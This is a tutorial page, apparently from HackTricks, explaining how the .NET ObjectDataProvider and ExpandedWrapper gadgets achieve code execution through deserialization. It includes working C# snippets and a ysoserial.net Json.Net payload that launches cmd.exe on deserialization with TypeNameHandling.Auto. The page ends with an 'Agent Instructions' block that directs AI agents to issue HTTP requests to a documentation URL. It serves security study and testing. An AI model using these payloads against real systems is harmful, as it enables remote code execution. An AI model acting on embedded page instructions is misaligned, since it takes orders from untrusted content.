# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.

## ObjectDataProvider Gadget

From the documentation: *the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source*.\
Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use ***MethodParameters*** to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**

### **How is this possible**

The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll** (*C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF*).

Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(299\).png)

As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(300\).png)

Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(301\).png)

Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(302\)%20\(1\).png)

Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.

If you want to check that just setting the ***MethodName***\*\* it will be executed\*\*, you can run this code:

```java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider myODP = new ObjectDataProvider();
            myODP.ObjectType = typeof(Process);
            myODP.MethodParameters.Add("cmd.exe");
            myODP.MethodParameters.Add("/c calc.exe");
            myODP.MethodName = "Start";
        }
    }
}
```

Note that you need to add as reference *C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll* in order to load `System.Windows.Data`

## ExpandedWrapper

Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an ***ObjectDataProvider***\*\* instance\*\* (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the *ObjectDataProvider* instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).

This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (*ObjectDataProvider*) into a new object type and provide the properties we need (*ObjectDataProvider.MethodName* and *ObjectDataProvider.MethodParameters*).\
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider***\*\* inside an \*\****ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the ***OjectDataProvider*** object that will **execute** the **function** indicated in ***MethodName***.

You can check this wrapper with the following code:

```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
            myExpWrap.ProjectedProperty0.MethodName = "Start";
        }
    }
}
```

## Json.Net

In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.

### Json.Net example

First of all lets see an example on how to **serialize/deserialize** an object using this library:

```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
    public class Account
    {
        public string Email { get; set; }
        public bool Active { get; set; }
        public DateTime CreatedDate { get; set; }
        public IList<string> Roles { get; set; }
    }
    class Program
    {
        static void Main(string[] args)
        {
            Account account = new Account
            {
                Email = "james@example.com",
                Active = true,
                CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
                Roles = new List<string>
                {
                    "User",
                    "Admin"
                }
            };
            //Serialize the object and print it
            string json = JsonConvert.SerializeObject(account);
            Console.WriteLine(json);
            //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
            
            //Deserialize it
            Account desaccount = JsonConvert.DeserializeObject<Account>(json);
            Console.WriteLine(desaccount.Email);
        }
    }
}
```

### Abusing Json.Net

Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:

```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```

In this code you can **test the exploit**, just run it and you will see that a calc is executed:

```java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Declare exploit
            string userdata = @"{
                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'MethodParameters':{
                            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    '$values':['cmd', '/c calc.exe']
                },
                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
            }";
            //Exploit to base64
            string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

            //Get data from base64
            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
            //Deserialize data
            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.Auto
            });
        }
    }
}
```

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
